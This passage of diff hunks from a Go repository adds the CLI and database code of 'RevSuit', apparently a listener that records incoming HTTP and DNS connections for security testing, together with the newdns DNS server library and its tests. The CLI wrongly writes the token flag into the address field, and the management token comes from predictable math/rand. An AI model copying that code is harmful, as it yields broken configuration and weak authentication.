vitess.io/vitess v0.9.0/go.mod h1:0eX/mIMRc3Kl62gXTORUC/ozkV57fZ8gw7eSXmVIrz8=
|
||||||
@@ -0,0 +1 @@
|
|||||||
|
package cli
|
||||||
@@ -0,0 +1,65 @@
|
|||||||
|
package cli
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io/ioutil"
|
||||||
|
"os"
|
||||||
|
"sort"
|
||||||
|
|
||||||
|
"github.com/li4n0/revsuit/pkg/server"
|
||||||
|
"github.com/urfave/cli/v2"
|
||||||
|
"gopkg.in/yaml.v2"
|
||||||
|
log "unknwon.dev/clog/v2"
|
||||||
|
)
|
||||||
|
|
||||||
|
func Start() {
|
||||||
|
app := &cli.App{
|
||||||
|
Name: "RevSuit",
|
||||||
|
Usage: "An Open-Sourced Reverse Platform Designed for Receive Various Kinds of Connection",
|
||||||
|
Flags: []cli.Flag{
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "addr",
|
||||||
|
Usage: "platform listened address",
|
||||||
|
},
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "token",
|
||||||
|
Usage: "token used to manage platform",
|
||||||
|
},
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "flags",
|
||||||
|
Usage: "for http and dns connection, platform will only record the connection those match these regex flags. * meaning record all",
|
||||||
|
},
|
||||||
|
&cli.StringFlag{
|
||||||
|
Name: "db",
|
||||||
|
Usage: "database file path",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
Action: func(c *cli.Context) error {
|
||||||
|
conf := &server.Config{}
|
||||||
|
if content, err := ioutil.ReadFile("config.yaml"); err == nil {
|
||||||
|
if err := yaml.Unmarshal(content, conf); err != nil {
|
||||||
|
log.Fatal(err.Error())
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
log.Fatal(err.Error())
|
||||||
|
}
|
||||||
|
if c.String("addr") != "" {
|
||||||
|
conf.Addr = c.String("addr")
|
||||||
|
}
|
||||||
|
if c.String("token") != "" {
|
||||||
|
conf.Addr = c.String("token")
|
||||||
|
}
|
||||||
|
if c.String("db") != "" {
|
||||||
|
conf.Database = c.String("db")
|
||||||
|
}
|
||||||
|
server.New(conf).Run()
|
||||||
|
return nil
|
||||||
|
},
|
||||||
|
}
|
||||||
|
sort.Sort(cli.FlagsByName(app.Flags))
|
||||||
|
sort.Sort(cli.CommandsByName(app.Commands))
|
||||||
|
|
||||||
|
err := app.Run(os.Args)
|
||||||
|
if err != nil {
|
||||||
|
log.Fatal(err.Error())
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package cli
|
||||||
|
|
||||||
|
import "math/rand"
|
||||||
|
|
||||||
|
const letterBytes = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()"
|
||||||
|
|
||||||
|
func genToken() string {
|
||||||
|
b := make([]byte, 8)
|
||||||
|
for i := range b {
|
||||||
|
b[i] = letterBytes[rand.Intn(len(letterBytes))]
|
||||||
|
}
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
@@ -0,0 +1,13 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import "gorm.io/gorm"
|
||||||
|
|
||||||
|
var DB *gorm.DB
|
||||||
|
|
||||||
|
func InitDB(driver, dsn string) (err error) {
|
||||||
|
switch driver {
|
||||||
|
case "sqlite":
|
||||||
|
DB, err = NewSqlite3(dsn)
|
||||||
|
}
|
||||||
|
return
|
||||||
|
}
|
||||||
@@ -0,0 +1,27 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"database/sql/driver"
|
||||||
|
"encoding/json"
|
||||||
|
)
|
||||||
|
|
||||||
|
type MapField map[string]string
|
||||||
|
|
||||||
|
func (f MapField) Value() (driver.Value, error) {
|
||||||
|
return json.Marshal(f)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *MapField) Scan(data interface{}) error {
|
||||||
|
return json.Unmarshal(data.([]byte), f)
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
type ListField []string
|
||||||
|
|
||||||
|
func (f ListField) Value() (driver.Value, error) {
|
||||||
|
return json.Marshal(f)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (f *ListField) Scan(data interface{}) error {
|
||||||
|
return json.Unmarshal(data.([]byte), f)
|
||||||
|
}
|
||||||
@@ -0,0 +1,15 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"gorm.io/driver/sqlite"
|
||||||
|
"gorm.io/gorm"
|
||||||
|
)
|
||||||
|
|
||||||
|
func NewSqlite3(dsn string) (*gorm.DB, error) {
|
||||||
|
db, err := gorm.Open(sqlite.Open(dsn), &gorm.Config{})
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
db.Exec("PRAGMA foreign_keys=ON")
|
||||||
|
return db, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,2 @@
|
|||||||
|
# Auto detect text files and perform LF normalization
|
||||||
|
* text=auto
|
||||||
@@ -0,0 +1,12 @@
|
|||||||
|
language: go
|
||||||
|
go:
|
||||||
|
- "1.12"
|
||||||
|
- tip
|
||||||
|
env:
|
||||||
|
- GO111MODULE=on
|
||||||
|
before_install:
|
||||||
|
- go get github.com/mattn/goveralls
|
||||||
|
install:
|
||||||
|
- go get -t ./...
|
||||||
|
script:
|
||||||
|
- $HOME/gopath/bin/goveralls -service=travis-ci
|
||||||
@@ -0,0 +1,21 @@
|
|||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2019 Joël Gähwiler
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
@@ -0,0 +1,10 @@
|
|||||||
|
all: fmt vet lint
|
||||||
|
|
||||||
|
fmt:
|
||||||
|
go fmt .
|
||||||
|
|
||||||
|
vet:
|
||||||
|
go vet .
|
||||||
|
|
||||||
|
lint:
|
||||||
|
golint .
|
||||||
@@ -0,0 +1,99 @@
|
|||||||
|
# newdns
|
||||||
|
|
||||||
|
[](https://travis-ci.org/256dpi/newdns)
|
||||||
|
[](https://coveralls.io/github/256dpi/newdns?branch=master)
|
||||||
|
[](http://godoc.org/github.com/256dpi/newdns)
|
||||||
|
[](https://github.com/256dpi/newdns/releases)
|
||||||
|
[](https://goreportcard.com/report/github.com/256dpi/newdns)
|
||||||
|
|
||||||
|
**A library for building custom DNS servers in Go.**
|
||||||
|
|
||||||
|
The newdns library wraps the widely used, but low-level [github.com/miekg/dns](https://github.com/miekg/dns) package with a simple interface to quickly build custom DNS servers. The implemented server only supports a subset of record types (A, AAAA, CNAME, MX, TXT) and is intended to be used as a leaf authoritative name server only. It supports UDP and TCP as transport protocols and implements EDNS0. Conformance is tested by issuing a corpus of tests against a zone in AWS Route53 and comparing the response and behavior.
|
||||||
|
|
||||||
|
The intention of this project is not to build a feature-complete alternative to "managed zone" offerings by major cloud platforms. However, some projects may require frequent synchronization of many records between a custom database and a cloud-hosted "managed zone". In this scenario, a custom DNS server that queries the own database might be a lot simpler to manage and operate. Also, the distributed nature of the DNS system offers interesting qualities that could be leveraged by future applications.
|
||||||
|
|
||||||
|
## Example
|
||||||
|
|
||||||
|
```go
|
||||||
|
// create zone
|
||||||
|
zone := &newdns.Zone{
|
||||||
|
Name: "example.com.",
|
||||||
|
MasterNameServer: "ns1.hostmaster.com.",
|
||||||
|
AllNameServers: []string{
|
||||||
|
"ns1.hostmaster.com.",
|
||||||
|
"ns2.hostmaster.com.",
|
||||||
|
"ns3.hostmaster.com.",
|
||||||
|
},
|
||||||
|
Handler: func(name string) ([]newdns.Set, error) {
|
||||||
|
// return apex records
|
||||||
|
if name == "" {
|
||||||
|
return []newdns.Set{
|
||||||
|
{
|
||||||
|
Name: "example.com.",
|
||||||
|
Type: newdns.A,
|
||||||
|
Records: []newdns.Record{
|
||||||
|
{Address: "1.2.3.4"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
Name: "example.com.",
|
||||||
|
Type: newdns.AAAA,
|
||||||
|
Records: []newdns.Record{
|
||||||
|
{Address: "1:2:3:4::"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// return sub records
|
||||||
|
if name == "foo" {
|
||||||
|
return []newdns.Set{
|
||||||
|
{
|
||||||
|
Name: "foo.example.com.",
|
||||||
|
Type: newdns.CNAME,
|
||||||
|
Records: []newdns.Record{
|
||||||
|
{Address: "bar.example.com."},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, nil
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// create server
|
||||||
|
server := newdns.NewServer(newdns.Config{
|
||||||
|
Handler: func(name string) (*newdns.Zone, error) {
|
||||||
|
// check name
|
||||||
|
if newdns.InZone("example.com.", name) {
|
||||||
|
return zone, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil, nil
|
||||||
|
},
|
||||||
|
Logger: func(e newdns.Event, msg *dns.Msg, err error, reason string) {
|
||||||
|
fmt.Println(e, err, reason)
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// run server
|
||||||
|
go func() {
|
||||||
|
err := server.Run(":1337")
|
||||||
|
if err != nil {
|
||||||
|
panic(err)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
// print info
|
||||||
|
fmt.Println("Query apex: dig example.com @0.0.0.0 -p 1337")
|
||||||
|
fmt.Println("Query other: dig foo.example.com @0.0.0.0 -p 1337")
|
||||||
|
|
||||||
|
// wait forever
|
||||||
|
select {}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Credits
|
||||||
|
|
||||||
|
- https://github.com/miekg/dns
|
||||||
|
- https://github.com/coredns/coredns
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import "github.com/miekg/dns"
|
||||||
|
|
||||||
|
// Event denotes an event type emitted to the logger.
|
||||||
|
type Event int
|
||||||
|
|
||||||
|
const (
|
||||||
|
// Ignored are requests that haven been dropped by leaving the connection
|
||||||
|
// hanging to mitigate attacks. Inspect the reason for more information.
|
||||||
|
Ignored Event = iota
|
||||||
|
|
||||||
|
// Request is emitted for every accepted request. For every request event
|
||||||
|
// a finish event fill follow. You can inspect the message to see the
|
||||||
|
// complete request sent by the client.
|
||||||
|
Request Event = iota
|
||||||
|
|
||||||
|
// Refused are requests that received an error due to some incompatibility.
|
||||||
|
// Inspect the reason for more information.
|
||||||
|
Refused Event = iota
|
||||||
|
|
||||||
|
// BackendError is emitted with errors returned by the callback and
|
||||||
|
// validation functions. Inspect the error for more information.
|
||||||
|
BackendError Event = iota
|
||||||
|
|
||||||
|
// NetworkError is emitted with errors returned by the connection. Inspect
|
||||||
|
// the error for more information.
|
||||||
|
NetworkError Event = iota
|
||||||
|
|
||||||
|
// Response is emitted with the final response to the client. You can inspect
|
||||||
|
// the message to see the complete response to the client.
|
||||||
|
Response Event = iota
|
||||||
|
|
||||||
|
// Finish is emitted when a request has been processed.
|
||||||
|
Finish Event = iota
|
||||||
|
|
||||||
|
// ProxyRequest is emitted with every request forwarded to the fallback
|
||||||
|
// DNS server.
|
||||||
|
ProxyRequest Event = iota
|
||||||
|
|
||||||
|
// ProxyResponse is emitted with ever response received from the fallback
|
||||||
|
// DNS server.
|
||||||
|
ProxyResponse Event = iota
|
||||||
|
|
||||||
|
// ProxyError is emitted with errors returned by the fallback DNS server.
|
||||||
|
// Inspect the error for more information.
|
||||||
|
ProxyError Event = iota
|
||||||
|
)
|
||||||
|
|
||||||
|
// String will return the name of the event.
|
||||||
|
func (e Event) String() string {
|
||||||
|
switch e {
|
||||||
|
case Ignored:
|
||||||
|
return "Ignored"
|
||||||
|
case Request:
|
||||||
|
return "Request"
|
||||||
|
case Refused:
|
||||||
|
return "Refused"
|
||||||
|
case BackendError:
|
||||||
|
return "BackendError"
|
||||||
|
case NetworkError:
|
||||||
|
return "NetworkError"
|
||||||
|
case Response:
|
||||||
|
return "Response"
|
||||||
|
case Finish:
|
||||||
|
return "Finish"
|
||||||
|
case ProxyRequest:
|
||||||
|
return "ProxyRequest"
|
||||||
|
case ProxyResponse:
|
||||||
|
return "ProxyResponse"
|
||||||
|
case ProxyError:
|
||||||
|
return "ProxyError"
|
||||||
|
default:
|
||||||
|
return "Unknown"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Logger is function that accepts logging events.
|
||||||
|
type Logger func(e Event, msg *dns.Msg, err error, reason string)
|
||||||
|
|
||||||
|
func log(l Logger, e Event, msg *dns.Msg, err error, reason string) {
|
||||||
|
if l != nil {
|
||||||
|
l(e, msg, err, reason)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,38 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import "github.com/miekg/dns"
|
||||||
|
|
||||||
|
// Proxy returns a handler that proxies requests to the provided DNS server. The
|
||||||
|
// optional logger is called with events about the processing of requests.
|
||||||
|
func Proxy(addr string, logger Logger) dns.Handler {
|
||||||
|
return dns.HandlerFunc(func(w dns.ResponseWriter, req *dns.Msg) {
|
||||||
|
// log request
|
||||||
|
if logger != nil {
|
||||||
|
logger(ProxyRequest, req, nil, "")
|
||||||
|
}
|
||||||
|
|
||||||
|
// forward request to fallback
|
||||||
|
rs, err := dns.Exchange(req, addr)
|
||||||
|
if err != nil {
|
||||||
|
if logger != nil {
|
||||||
|
logger(ProxyError, nil, err, "")
|
||||||
|
}
|
||||||
|
_ = w.Close()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// log response
|
||||||
|
if logger != nil {
|
||||||
|
logger(ProxyResponse, rs, nil, "")
|
||||||
|
}
|
||||||
|
|
||||||
|
// write response
|
||||||
|
err = w.WriteMsg(rs)
|
||||||
|
if err != nil {
|
||||||
|
if logger != nil {
|
||||||
|
logger(NetworkError, nil, err, "")
|
||||||
|
}
|
||||||
|
_ = w.Close()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/miekg/dns"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Query can be used to query a DNS server over the provided protocol on its
|
||||||
|
// address for the specified name and type. The supplied function can be set to
|
||||||
|
// mutate the sent request.
|
||||||
|
func Query(proto, addr, name, typ string, fn func(*dns.Msg)) (*dns.Msg, error) {
|
||||||
|
// prepare request
|
||||||
|
req := &dns.Msg{
|
||||||
|
MsgHdr: dns.MsgHdr{
|
||||||
|
Id: dns.Id(),
|
||||||
|
},
|
||||||
|
Question: []dns.Question{
|
||||||
|
{
|
||||||
|
Name: name,
|
||||||
|
Qtype: dns.StringToType[typ],
|
||||||
|
Qclass: dns.ClassINET,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// call function if available
|
||||||
|
if fn != nil {
|
||||||
|
fn(req)
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepare client
|
||||||
|
client := dns.Client{
|
||||||
|
Net: proto,
|
||||||
|
Timeout: time.Second,
|
||||||
|
}
|
||||||
|
|
||||||
|
// send request
|
||||||
|
res, _, err := client.Exchange(req, addr)
|
||||||
|
if err != nil {
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// reset id to allow direct comparison
|
||||||
|
res.Id = 0
|
||||||
|
|
||||||
|
return res, nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,67 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
|
||||||
|
"github.com/pkg/errors"
|
||||||
|
)
|
||||||
|
|
||||||
|
// Record holds a single DNS record.
|
||||||
|
type Record struct {
|
||||||
|
// The target address for A, AAAA, CNAME and MX records.
|
||||||
|
Address string
|
||||||
|
|
||||||
|
// The priority for MX records.
|
||||||
|
Priority int
|
||||||
|
|
||||||
|
// The data for TXT records.
|
||||||
|
Data []string
|
||||||
|
}
|
||||||
|
|
||||||
|
// Validate will validate the record.
|
||||||
|
func (r *Record) Validate(typ Type) error {
|
||||||
|
// validate A address
|
||||||
|
if typ == A {
|
||||||
|
ip := net.ParseIP(r.Address)
|
||||||
|
if ip == nil || ip.To4() == nil {
|
||||||
|
return errors.Errorf("invalid IPv4 address: %s", r.Address)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// validate AAAA address
|
||||||
|
if typ == AAAA {
|
||||||
|
ip := net.ParseIP(r.Address)
|
||||||
|
if ip == nil || ip.To16() == nil {
|
||||||
|
return errors.Errorf("invalid IPv6 address: %s", r.Address)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// validate CNAME and MX addresses
|
||||||
|
if typ == CNAME || typ == MX {
|
||||||
|
if !IsDomain(r.Address, true) {
|
||||||
|
return errors.Errorf("invalid domain name: %s", r.Address)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// check TXT data
|
||||||
|
if typ == TXT {
|
||||||
|
if len(r.Data) == 0 {
|
||||||
|
return errors.Errorf("missing data")
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, data := range r.Data {
|
||||||
|
if len(data) > 255 {
|
||||||
|
return errors.Errorf("data too long")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// validate NS addresses
|
||||||
|
if typ == NS {
|
||||||
|
if !IsDomain(r.Address, true) {
|
||||||
|
return errors.Errorf("invalid ns name: %s", r.Address)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,94 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestRecordValidate(t *testing.T) {
|
||||||
|
table := []struct {
|
||||||
|
typ Type
|
||||||
|
rec Record
|
||||||
|
err string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
typ: A,
|
||||||
|
rec: Record{Address: "foo"},
|
||||||
|
err: "invalid IPv4 address: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: AAAA,
|
||||||
|
rec: Record{Address: "foo"},
|
||||||
|
err: "invalid IPv6 address: foo",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: A,
|
||||||
|
rec: Record{Address: "1:2:3:4::"},
|
||||||
|
err: "invalid IPv4 address: 1:2:3:4::",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: A,
|
||||||
|
rec: Record{Address: "1.2.3.4"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: AAAA,
|
||||||
|
rec: Record{Address: "1:2:3:4::"},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: CNAME,
|
||||||
|
rec: Record{Address: "---"},
|
||||||
|
err: "invalid domain name: ---",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: CNAME,
|
||||||
|
rec: Record{Address: "foo.com"},
|
||||||
|
err: "invalid domain name: foo.com",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: CNAME,
|
||||||
|
rec: Record{Address: "foo.com."},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: MX,
|
||||||
|
rec: Record{Address: "foo.com"},
|
||||||
|
err: "invalid domain name: foo.com",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: MX,
|
||||||
|
rec: Record{Address: "foo.com."},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: TXT,
|
||||||
|
rec: Record{Data: nil},
|
||||||
|
err: "missing data",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: TXT,
|
||||||
|
rec: Record{Data: []string{"z4e6ycRMp6MP3WvWQMxIAOXglxANbj3oB0xD8BffktO4eo3VCR0s6TyGHKixvarOFJU0fqNkXeFOeI7sTXH5X0iXZukfLgnGTxLXNC7KkVFwtVFsh1P0IUNXtNBlOVWrVbxkS62ezbLpENNkiBwbkCvcTjwF2kyI0curAt9JhhJFb3AAq0q1iHWlJLn1KSrev9PIsY3alndDKjYTPxAojxzGKdK3A7rWLJ8Uzb3Z5OhLwP7jTKqbWVUocJRFLYpL"}},
|
||||||
|
err: "data too long",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: TXT,
|
||||||
|
rec: Record{Data: []string{"foo"}},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: NS,
|
||||||
|
rec: Record{Address: "foo.com"},
|
||||||
|
err: "invalid ns name: foo.com",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
typ: NS,
|
||||||
|
rec: Record{Address: "foo.com."},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for i, item := range table {
|
||||||
|
err := item.rec.Validate(item.typ)
|
||||||
|
if err != nil {
|
||||||
|
assert.Equal(t, item.err, err.Error(), i)
|
||||||
|
} else {
|
||||||
|
assert.Equal(t, item.err, "", item)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,120 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"net"
|
||||||
|
|
||||||
|
"github.com/miekg/dns"
|
||||||
|
)
|
||||||
|
|
||||||
|
var fakeAddr = &net.TCPAddr{
|
||||||
|
IP: net.IP{0, 0, 0, 0},
|
||||||
|
Port: 0,
|
||||||
|
}
|
||||||
|
|
||||||
|
type responseWriter struct {
|
||||||
|
msg *dns.Msg
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *responseWriter) LocalAddr() net.Addr {
|
||||||
|
return fakeAddr
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *responseWriter) RemoteAddr() net.Addr {
|
||||||
|
return fakeAddr
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *responseWriter) WriteMsg(msg *dns.Msg) error {
|
||||||
|
// check message
|
||||||
|
if w.msg != nil {
|
||||||
|
panic("message already set")
|
||||||
|
}
|
||||||
|
|
||||||
|
// set message
|
||||||
|
w.msg = msg
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *responseWriter) Write([]byte) (int, error) {
|
||||||
|
panic("not implemented")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *responseWriter) Close() error {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *responseWriter) TsigStatus() error {
|
||||||
|
panic("not implemented")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *responseWriter) TsigTimersOnly(bool) {
|
||||||
|
panic("not implemented")
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *responseWriter) Hijack() {
|
||||||
|
panic("not implemented")
|
||||||
|
}
|
||||||
|
|
||||||
|
// Resolver returns a very primitive recursive resolver that uses the provided
|
||||||
|
// handler to resolve all names.
|
||||||
|
func Resolver(handler dns.Handler) dns.Handler {
|
||||||
|
return dns.HandlerFunc(func(w dns.ResponseWriter, req *dns.Msg) {
|
||||||
|
// forward query if no recursion is desired
|
||||||
|
if !req.RecursionDesired {
|
||||||
|
handler.ServeDNS(w, req)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// prepare response
|
||||||
|
res := new(dns.Msg)
|
||||||
|
res.SetReply(req)
|
||||||
|
res.RecursionAvailable = true
|
||||||
|
|
||||||
|
// query handler
|
||||||
|
var wr responseWriter
|
||||||
|
handler.ServeDNS(&wr, req)
|
||||||
|
|
||||||
|
// check response
|
||||||
|
if wr.msg == nil {
|
||||||
|
_ = w.WriteMsg(res)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// add resolved answers
|
||||||
|
res.Answer = append(res.Answer, resolve(handler, wr.msg.Answer)...)
|
||||||
|
|
||||||
|
// write response
|
||||||
|
err := w.WriteMsg(res)
|
||||||
|
if err != nil {
|
||||||
|
_ = w.Close()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
func resolve(handler dns.Handler, records []dns.RR) []dns.RR {
|
||||||
|
// prepare result
|
||||||
|
var res []dns.RR
|
||||||
|
res = append(res, records...)
|
||||||
|
|
||||||
|
// handle records
|
||||||
|
for _, record := range records {
|
||||||
|
if cname, ok := record.(*dns.CNAME); ok {
|
||||||
|
// query handler
|
||||||
|
var wr responseWriter
|
||||||
|
handler.ServeDNS(&wr, &dns.Msg{
|
||||||
|
Question: []dns.Question{
|
||||||
|
{
|
||||||
|
Name: cname.Target,
|
||||||
|
Qtype: dns.TypeA,
|
||||||
|
Qclass: dns.ClassINET,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
|
||||||
|
// add resolved answers
|
||||||
|
res = append(res, resolve(handler, wr.msg.Answer)...)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return res
|
||||||
|
}
|
||||||
@@ -0,0 +1,92 @@
|
|||||||
|
package newdns
|
||||||
|
|
||||||
|
import (
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/miekg/dns"
|
||||||
|
"github.com/stretchr/testify/assert"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestResolver(t *testing.T) {
|
||||||
|
ret, err := Query("tcp", "1.1.1.1:53", "example.newdns.256dpi.com.", "A", func(msg *dns.Msg) {
|
||||||
|
msg.RecursionDesired = true
|
||||||
|
})
|
||||||
|
assert.NoError(t, err)
|
||||||
|
equalJSON(t, &dns.Msg{
|
||||||
|
MsgHdr: dns.MsgHdr{
|
||||||
|
Response: true,
|
||||||
|
RecursionDesired: true,
|
||||||
|
RecursionAvailable: true,
|
||||||
|
},
|
||||||
|
Question: []dns.Question{
|
||||||
|
{Name: "example.newdns.256dpi.com.", Qtype: dns.TypeA, Qclass: dns.ClassINET},
|
||||||
|
},
|
||||||
|
Answer: []dns.RR{
|
||||||
|
&dns.CNAME{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: "example.newdns.256dpi.com.",
|
||||||
|
Rrtype: dns.TypeCNAME,
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: ret.Answer[0].(*dns.CNAME).Hdr.Ttl,
|
||||||
|
Rdlength: 10,
|
||||||
|
},
|
||||||
|
Target: "example.com.",
|
||||||
|
},
|
||||||
|
&dns.A{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: "example.com.",
|
||||||
|
Rrtype: dns.TypeA,
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: ret.Answer[1].(*dns.A).Hdr.Ttl,
|
||||||
|
Rdlength: 4,
|
||||||
|
},
|
||||||
|
A: ret.Answer[1].(*dns.A).A,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}, ret)
|
||||||
|
|
||||||
|
addr := "0.0.0.0:53002"
|
||||||
|
mux := dns.NewServeMux()
|
||||||
|
mux.Handle("newdns.256dpi.com", Proxy(awsNS[0]+":53", nil))
|
||||||
|
mux.Handle("example.com", Proxy("a.iana-servers.net:53", nil))
|
||||||
|
handler := Resolver(mux)
|
||||||
|
|
||||||
|
serve(handler, addr, func() {
|
||||||
|
ret, err := Query("udp", addr, "example.newdns.256dpi.com.", "A", func(msg *dns.Msg) {
|
||||||
|
msg.RecursionDesired = true
|
||||||
|
})
|
||||||
|
assert.NoError(t, err)
|
||||||
|
equalJSON(t, &dns.Msg{
|
||||||
|
MsgHdr: dns.MsgHdr{
|
||||||
|
Response: true,
|
||||||
|
RecursionDesired: true,
|
||||||
|
RecursionAvailable: true,
|
||||||
|
},
|
||||||
|
Question: []dns.Question{
|
||||||
|
{Name: "example.newdns.256dpi.com.", Qtype: dns.TypeA, Qclass: dns.ClassINET},
|
||||||
|
},
|
||||||
|
Answer: []dns.RR{
|
||||||
|
&dns.CNAME{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: "example.newdns.256dpi.com.",
|
||||||
|
Rrtype: dns.TypeCNAME,
|
||||||
|
Class: dns.ClassINET,
|
||||||
|
Ttl: ret.Answer[0].(*dns.CNAME).Hdr.Ttl,
|
||||||
|
Rdlength: 13,
|
||||||
|
},
|
||||||
|
Target: "example.com.",
|
||||||
|
},
|
||||||
|
&dns.A{
|
||||||
|
Hdr: dns.RR_Header{
|
||||||
|
Name: "example.com.",
|
||||||
|
Rrtype: dns.TypeA,
